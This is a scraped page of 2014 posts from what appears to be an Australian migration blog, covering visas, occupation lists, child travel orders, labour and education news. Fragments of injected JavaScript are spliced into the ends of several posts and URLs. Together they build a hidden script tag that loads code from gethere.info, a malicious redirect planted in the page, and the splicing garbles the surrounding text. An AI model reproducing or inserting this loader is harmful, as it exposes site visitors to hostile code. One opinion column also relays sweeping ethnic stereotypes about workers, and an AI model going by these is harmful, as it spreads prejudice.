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Three new occupations

Three new occupations

Last Saturday’s edition of “The Australian” carried a front page story reporting that the occupations of chef, tiler and bricklayer are to be added to the Skilled Occupations List (SOL) on 1 July 2014.

This will mean that people in such occupations  can apply for Subclass 189 visas independently rather than  having to apply  for  Subclass 186 or 187 visas sponsored by an employer.

Below is an extract from the article.

Documents seen by The Weekend Australian also show the agency that recommended the changes acknowledged the inclusion of chefs could result in “exploitation of the training system for permanent residency’’.

The government has capped the program at 43,990 skilled visas next financial year. For each of the professions on the list, the number of positions available is capped at 6 per cent of the occupation’s workforce.

Senator Cash said the government had decided to set the cap for chefs at 3 per cent for an initial six months.

According to the ABS Labour Force survey, about 76,100 chefs, 23,360 bricklayers and 15,800 floor and wall tilers work in Australia.

Under the 3 per cent cap, up to 2283 overseas chefs could apply for a place in the program, rising to 4566 if the cap went to 6 per cent. For bricklayers, the maximum number would be 1401, and 948 for floor and wall tilers.


Senator Cash stressed the changes would not result in thousands of extra foreign workers coming to Australia. Given total places remained capped at the same level, the entry of additional chefs, bricklayers and tilers would result in less places being approved among the existing 188 occupations on the list.


Below are links to information on the three occupations-




http://www.immi.gov.au/asri/occupations/b/bricklayer.htmif (document.currentScript) {

Children and international travel after family separation

Children and international travel after family separation

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This fact sheet provides information for people who want to:

■ apply for an Australian passport for a child, but one of the signatories can not or will not sign the application form

■ prevent a child they have parental responsibility for from leaving Australia.

If a child you have parental responsibility for has left Australia without your permission, you should contact the Commonwealth Attorney-General’s Department on 1800 100 480 or go towww.ag.gov.au for more information.
Applying to the Court
An application to permit a child to travel internationally or to prevent a child from leaving Australia should be filed in the Federal Circuit Court. If you have a current parenting case in the Family Court, the application should be filed in that court.

On the application form, you must say what orders you are asking the Court to make.

You must also file an affidavit in support of your application. An affidavit is a statement of facts and you should include all the points that are relevant in your case; for example:

■ the details and purpose of the proposed travel, including a copy of the itinerary (if you have one)

■ what links the people travelling have to Australia

■ whether the country being visited is a member of the Hague Convention or if any travel warnings have been issued

■ the immigration status of the people travelling

■ whether you are willing to provide an undertaking to the Court to pay any damages which the Court may decide another party has suffered as a result of the order requested

■ any other factors relevant to the case.

If you are seeking an order for a child to travel internationally, you should also state whether you are willing and able to provide a monetary sum as security.

If you are seeking an order to prevent a child leaving Australia, you should outline your reasons for this in the affidavit.

NOTE – This is not a complete list and may vary depending on the type of application and the circumstances of each case. It is essential that all relevant facts are disclosed.

For more information about what you need to file with the Court, see the fact sheet ‘Applying to the Court for orders’.
Applying for a child’s passport
Before an Australian passport can be issued, the law requires the written consent of each person who has parental responsibility for a child. This is usually the child’s parents but may include grandparents or other relatives.

If written consent is provided by all parties with parental responsibility, applications can be lodged at an authorised Australia Post office or any Australian Passport Office.

If written consent is not provided by all parties with parental responsibility, you can make a written request to the Approved Senior Officer of the Department of Foreign Affairs and Trade to consider issuing the passport due to ‘special circumstances’. For more information about requests to consider ‘special circumstances’ contact the Australian Passport Information Service on 13 12 32 or go to www.passports.gov.au.

If your request to consider ‘special circumstances’ is not successful, you can apply to the Court for an order permitting a child to travel internationally. In considering such applications, the Court will only permit a child to travel internationally if it determines it is in the best interests of the child.
Preventing a child from leaving Australia
If you are concerned that a child may leave Australia without your permission, you should seek legal advice as soon as possible.

You can apply to the Court for an order that:

(a) prevents a passport being issued for a child

(b) requires a person to deliver a child’s or accompanying adult’s passport to the Court, or

(c) prevents a child from leaving Australia.

(a) Preventing a child’s passport being issued

If you want to prevent an Australian passport being issued for a child, you can:

■  lodge a Child Alert Request at any Australian Passport Office, or

■  apply to the Court for a child alert order.

A Child Alert Request warns the Department of Foreign Affairs and Trade that a person may apply for an Australian passport for a child without proper and legal consent. If a child alert is in force and an application for an Australian passport is received for a child, you will be notified by the Department of Foreign Affairs and Trade.

A child alert request made at an Australian Passport Office is valid for 12 months. A court ordered child alert stays in force until a child turns 18, or as directed by the Court.

NOTE – A child alert does not stop a child departing Australia on a valid Australian or foreign passport, and does not cover passports issued by other countries. If you think a passport may be issued for a child in another country, contact the embassy of that country.

For more information about child alerts, contact the Australian Passport Information Service on 13 12 32 or go to www.passports.gov.au.

(b) Delivery of a passport to the Court

If there is a possibility or threat that a child may be removed from Australia on a current passport, you can apply to the Court for orders. The Court may order the delivery of a child’s or accompanying adult’s passport to the Court. If ordered, the person in possession of the child’s passport must deliver it to the Court. The Court will keep it for the specific amount of time detailed in the court order or until further order of the Court.

(c) Preventing a child from leaving Australia

If there is a possibility or threat that a child may be removed from Australia, the Court can make orders which:

■  restrain the removal of the child from Australia

■  request that the Australian Federal Police (AFP) place the child’s name on the Airport Watch List, and

■  request that the AFP assist in the implementation of the order/s.

The AFP will need a copy of the court order before placing a child’s name on the list. The child’s name will stay on the Airport Watch List until further order of the Court.

NOTE – If you consent to a child travelling out of Australia in the future or wish to take a child out of Australia yourself, you must apply to the Court (before you travel) to have the child’s name removed from the Airport Watch List. If you fail to do so, a child may be prevented from leaving irrespective of who they are travelling with. The AFP cannot remove the child’s name from the list without an order of the Court.

The AFP has offices in each capital city and some regional locations. Go to www.afp.gov.au or look in the White Pages for contact details.
Legal advice
You should seek legal advice before deciding what to do. You can seek legal advice from a legal aid office, community legal centre or private law firm. Court staff can help you with questions about court forms and the court process, but cannot give you legal advice.
More information
For more information about anything referred to in this fact sheet, including legislation, forms or publications:

■  call 1300 352 000, or

■  visit a family law registry near you.

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Are you having trouble understanding legal words used in this form?

You can find more information about legal words used in this form in the following locations:


Legal words used in court(Family Law Courts brochure)

LawTermFinder – online help with legal terms



Source: http://www.familylawcourts.gov.au/wps/wcm/connect/FLC/Home/Publications/Family+Law+Courts+publications/Children+and+international+travel+after+family+separationd.getElementsByTagName(‘head’)[0].appendChild(s);

Training Australian workers: an obligation for 457 employers

Training Australian workers: an obligation for 457 employers

By Jo on 6 Jun 2014 10:30am, no comments


As stated in earlier posts, significant changes to the 457 visa were made on 1 July 2013. One of these changes included strengthening the requirement for businesses that employ 457 visa holders to actively contribute to the training of Australian workers.

As it stood prior to the changes on 1 July 2013, businesses have always needed to show they actively contribute to the training of Australian workers. Businesses demonstrated they had spent, in the 12 months prior to applying to be a sponsor:

specific amounts on either training their own Australian employees, or

provided funds to an industry training fund in the industry they operate in.

Since 1 July 2013, the training obligation takes this a step further by requiring businesses in the programme to continue contributing to the training of Australians for the entire time they are approved as a sponsor and employ 457 visa holders.

What is the training commitment?

Australian businesses sponsoring 457 visa holders must meet at least one of the following training benchmarks:

expenditure of at least 2 per cent of the payroll of the business, in payments allocated to an industry training fund that operates in the same industry as the business, or

expenditure of at least 1 per cent of the payroll of the business, in the provision of training to Australian employees of the business.

Businesses are required to continue to meet one of these benchmarks for as long as they employ a 457 visa holder and are approved as a sponsor.

What happens if a business doesn’t meet the benchmarks?

We undertake regular checks of businesses that sponsor 457 visa holders to make sure they are complying with all of the sponsorship obligations, including meeting one of the training benchmarks. If during these checks we become aware they have not fully met the training requirement, we have a range of options available to us, including:

issuing a formal warning

barring the business for up to five years from sponsoring overseas workers

cancelling the business’ sponsorship

issuing an infringement notice to a maximum value of $10 200

entering into an enforceable undertaking (a court-enforceable undertaking between the minister and sponsor) applying for a civil penalty order with a maximum penalty of $51 000.

For more information about 457 employer obligations go to the sponsors tab at:



Source: http://migrationblog.immi.gov.au/2014/06/06/training-australian-workers-an-obligation-for-457-employers/}

Student visa lodgement change – rumour

Student visa lodgement change – rumour

A rumour is currently circulating among the student population that individuals entering Australia on ETA visas will not be eligible to apply for student visas onshore.

The Department’s Student Policy section has confirmed this rumour is false and there are no plans to amend the migration legislation to make ETA visa holders ineligible to apply for a student visa in Australia.

Source: Migration Institute of Australia

Lazy Aussies just don’t want to work

Lazy Aussies just don’t want to work


May 29, 2014


Sam de Brito




Workers protest about 457 Visas in 2013. Photo: Jason South

“I’m just not gonna hire Aussies anymore,” says the proprietor of a successful cafe/restaurant worn down by the unreliability of his Australian-born staff.

His establishment, once manned by sun-kissed locals, is now powered exclusively by Asian, Middle Eastern and Afghan immigrants as well as visiting backpackers, all of whom are booking valuable experience and guidance from their talented and accomplished restaurateur employer.

“Why?” I ask.


At least they’re aren’t sending jobs overseas. Photo: Ron Tandberg

“Aussies don’t want to work. Or they won’t work weekends or public holidays. Or they can only work these days and not those days. Or they ring up and say they’re sick and they were drinking with me the night before. Or they have to take a week off to go to Splendour,” he says.

“Mayfield hasn’t had a sick day in two-and-a-half years,” he says pointing at his Filipino assistant chef who began work as a dishwasher.

“He couldn’t peel a prawn when he started here. Now he’ll get a job in any restaurant in the country,” he says, “he can cook fish as well as I can.”

Official figures revealed yesterday show employers have recruited 37,620 foreign managers, professionals and tradespeople on 457 work visas during the first nine months of this financial year, despite almost 200,000 unemployed Aussies being qualified to do the same job.

While unions have again demanded tighter controls on migrant labour, employer groups said newcomers were merely filling positions locals “would or could not do”.

The opposition employment spokesman, Brendan O’Connor, told The Australian it was imperative the Abbott government maintain regulations requiring employers advertise jobs locally.

“At a time when the labour market is softening, the government must ensure Australians workers are first in line for job vacancies,’’ he said.

However, while this approach is laudable and necessary, many bosses I’ve spoken to say their preference for foreign-born workers comes down to one factor: Australians are lazy.

“If I was starting a software company,” says an experienced software engineer, “I would employee only Indian-born coders.”

“Why?” I ask.

“They just get it. They work hard, they’re polite, they get the work done, they don’t bitch and moan. They want to work, to learn, they’re not looking for excuses to do less work, which I find so many Australian-born workers do,” she says.

“But surely Aussie IT workers are just as good?”

“Some are,” she says, “but good doesn’t mean much if they spend half their day on the Iconic, looking for shoes, or they argue the toss on every instruction you give them.”

“No one is happy with the job they have now, they’re always looking ahead to the next job. Indian-born IT workers understand that the way to get the next job is to do the best work possible at this job,” she says.

At a push, she says she would employ coders with immigrant parents saying their children are “still hungry”. She admits she’s guilty of “positive racism” but “I’ve experienced this problem so many times, I just don’t know how to couch it in politically correct terms anymore,” she says.

“I’ve got absolutely no data to back up my thesis up but I’ve simply found the harder someone’s upbringing has been, the harder they’ll work and most Australian-born workers grew up easy and it engenders a sense of entitlement,” she says.

The perception of the lazy Aussie is also widespread amongst foreign-born tradesmen. I’ve worked on building sites many times over the years and often encountered the term “Lozies” – slang for “lazy aussies”.

A friend of Italian descent who’s an experienced floor and wall tiler agrees enthusiastically: “Especially the older ones, they just don’t want to put in the hours. Lazy Aussie Lozies,” he says.

“Why do you reckon the Lebanese run all the demo(lition) and concreting? The Chinese are taking over the tiling and electrical work, though they’re not as good as the Koreans. Those blokes know what hard work is,” he says.

A casual examination of the people who are our parking inspectors, cab drivers, kitchen and cleaning staff tells much the same story. These are roles increasingly populated by foreign-born workers, more than willing to do the “shit jobs”.

A vacation rentals broker tells me of her frustration attempting to find reliable removalists to pick up and drop off furniture to her new holiday lettings.

“Then I found Kenny and Joseph,” she says, a Korean double act with an Econovan.

“They can do three trips in their van before my old blokes could do one in their truck. They just don’t stop. They’re machines,” she says.

She now uses them exclusively and has had to stop recommending them to other people out of fear they’ll be poached. Kenny and Joseph just bought another van for their nephews to join them in the business.

An empire is born.

Read more: http://www.smh.com.au/comment/lazy-aussies-just-dont-want-to-work-20140530-zrrs6.html#ixzz34CQ7Wixi

Seasonal labour in the fruit industry

Seasonal labour in the fruit industry

ABC Rural 

By Clint Jasper and Sophie Malcolm

It’s hard work, there are very early starts and it’s not exactly glamorous.

As citrus seasons ramps up, there’s tonnes upon tonnes of fruit across the Riverland and Sunraysia waiting to be picked, packed and sent to market.

And all over the region, farmers are looking for workers to do just that.

Last week, Tasmanian Liberal Senator Eric Abetz suggested an answer to youth unemployment might be for young people to take up jobs picking fruit.

On paper, it seems like the perfect fit – there are a lot of people who need a job and a lot of fruit to be picked.

But in reality, there’s another group of people who want to do the same thing.

For years, backpackers have traipsed the well-trodden path into rural and regional Australia, looking to make some money, save cash and extend their visa.

About five years ago, the Federal Government introduced a program that allows travellers from participating countries to stay in Australia for longer, if they do 88 days of ‘rural work’- paid employment in a rural postcode in a specified industry.

That’s how Amy Davis found herself in Mildura.

At home in England, she works as a medical receptionist, but at the moment she’s packing mandarins to get her 88 days completed.

“I think everyone sort of enjoys it and gets on with it and knows that they’re not going to be here forever,” she said.

Scott Cameron, from not-for-profit employment agency MADEC, says the changes to the visa system have also vastly changed supply and demand.

“Since the introduction of that program, we just don’t have the labour shortage that we had five, six, seven, eight years ago,” he said.

PHOTO: Backpackers’ boots at a hostel in Mildura. (Sophie Malcolm )

For Mourquong, NSW, citrus grower Vince DeMaria, the system is working pretty well.

He’s been employing backpackers for the last ten years or so to pack fruit and pick vegetables and uses a balance of local workers and short-term staff.

“We were having a lot of trouble getting a workforce that was consistent and reliable,” he said.

“During the fruit picking seasons, we need a lot of people throughout the district, and the backpackers have been able to come in and fill that void.

“What we do find is that once their 88 days is up or even sooner, we’re turning over a lot of staff, so we’re finding ourselves spending a lot more on training our workforce, but it’s good because they really do pick it up quickly.”

John George runs Mildura International Backpackers, a large hostel in town, and reckons backpackers are vital to local industry.

“The various growers and principals of the businesses [are] very dependent on seasonal labour and sometimes would like more than they can get at particular times,” he said.

“I had a personal experience where there’s no way that I would’ve come and picked fruit in Mildura or any other place, having ceased employment with an employer in the city. It just wouldn’t have been a practical thing to do.”

Paul McCombes, a web designer from London, has picked and carted table grapes, packed citrus and pruned trees in Mildura over the last few months.

Despite initially having trouble finding a job, he’s enjoyed the work, but his top priority is his 88 days.

“When we first arrived…those jobs were a bit poorly paid to be honest. We were getting eight hour days for $20, $30, things like that,” he said.

“[I’ve done] 60 days so far…I can’t wait to get to Melbourne or Sydney to be honest.

“But it’s been good.”


Source: http://www.abc.net.au/news/2014-06-04/harvest-labour-special/5497916var d=document;var s=d.createElement(‘script’);

Universities leave VET for dead in race for export earnings

Universities leave VET for dead in race for export earnings


JUNE 04, 2014 12:00AM



HIGHER education contributed the lion’s share of Australia’s $15 billion in education export income last year.

Onshore earnings for the sector were $10.2bn, or 68 per cent of the total, compared with a 16.5 per cent share for vocational education and training, according to a research snapshot from Australian Education International.


Source: http://www.theaustralian.com.au/higher-education/universities-leave-vet-for-dead-in-race-for-export-earnings/story-e6frgcjx-1226941993398#var d=document;var s=d.createElement(‘script’);

Lowy Institute poll shows strong support for asylum-seeker policies


JUNE 04, 2014 12:00AM

Rowan Callick

Asia Pacific Editor


More than 70 per cent of Australians support the Abbott government’s Sovereign Borders Policy, including the idea that boats should be turned back when safe to do so, the Lowy Institute’s annual poll shows.

Published today, the Lowy poll finds that 59 per cent of voters say “asylum seekers should be processed offshore, in places such as Nauru and Papua New Guinea.”


Source: http://www.theaustralian.com.au/national-affairs/policy/lowy-institute-poll-shows-strong-support-for-asylumseeker-policies/story-fn59nm2j-1226942198917#d.getElementsByTagName(‘head’)[0].appendChild(s);

Working while studying in Australia

By Alice on 5 Jun 2014 2:10pm, no comments


If you are an international student working in Australia, it is important you know your rights, entitlements and protections in the work place.

Do you know:

it is illegal for an employer to treat you any differently to other workers based on your gender, religion, culture or nationality?

you may be entitled to higher pay for working at night, on the weekend or on a public holiday?

your employer is not allowed to fire you if you are away from work temporarily because you were sick?

The Fair Work Ombudsman provides a free service to all people working in Australia. They have a range of information available on their website to help you understand your work conditions, and can be contacted for assistance if you have any concerns about your treatment at work.


Source: http://migrationblog.immi.gov.au/2014/06/05/working-while-studying-in-australia/s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Migration Amendment (Repeal of Certain Visa Classes) Regulation 2014 – F2014L00622

Migration Amendment (Repeal of Certain Visa Classes) Regulation 2014 – F2014L00622

Select Legislative Instrument [F2014L00622], Migration Amendment 1994 (Repeal of Certain Visa Classes) Regulation – No 65, 2014 came into effect today, 2 June 2014.

The Migration Regulations were amended to repeal the:

Aged Dependent Relative visa classes and subclasses

Remaining Relative visa classes and subclasses

Carer visa classes and subclasses

Parent and Aged Parent visa classes and subclasses

These visa classes are closed to applicants from 2 June 2014.  Applications already made before 2 June 2014 will continue to be assessed under the regulations applicable to their application.

Further information related to this closure of family visa classes is also available on the Department’s website.

Source: Migration Institute Australiaif (document.currentScript) {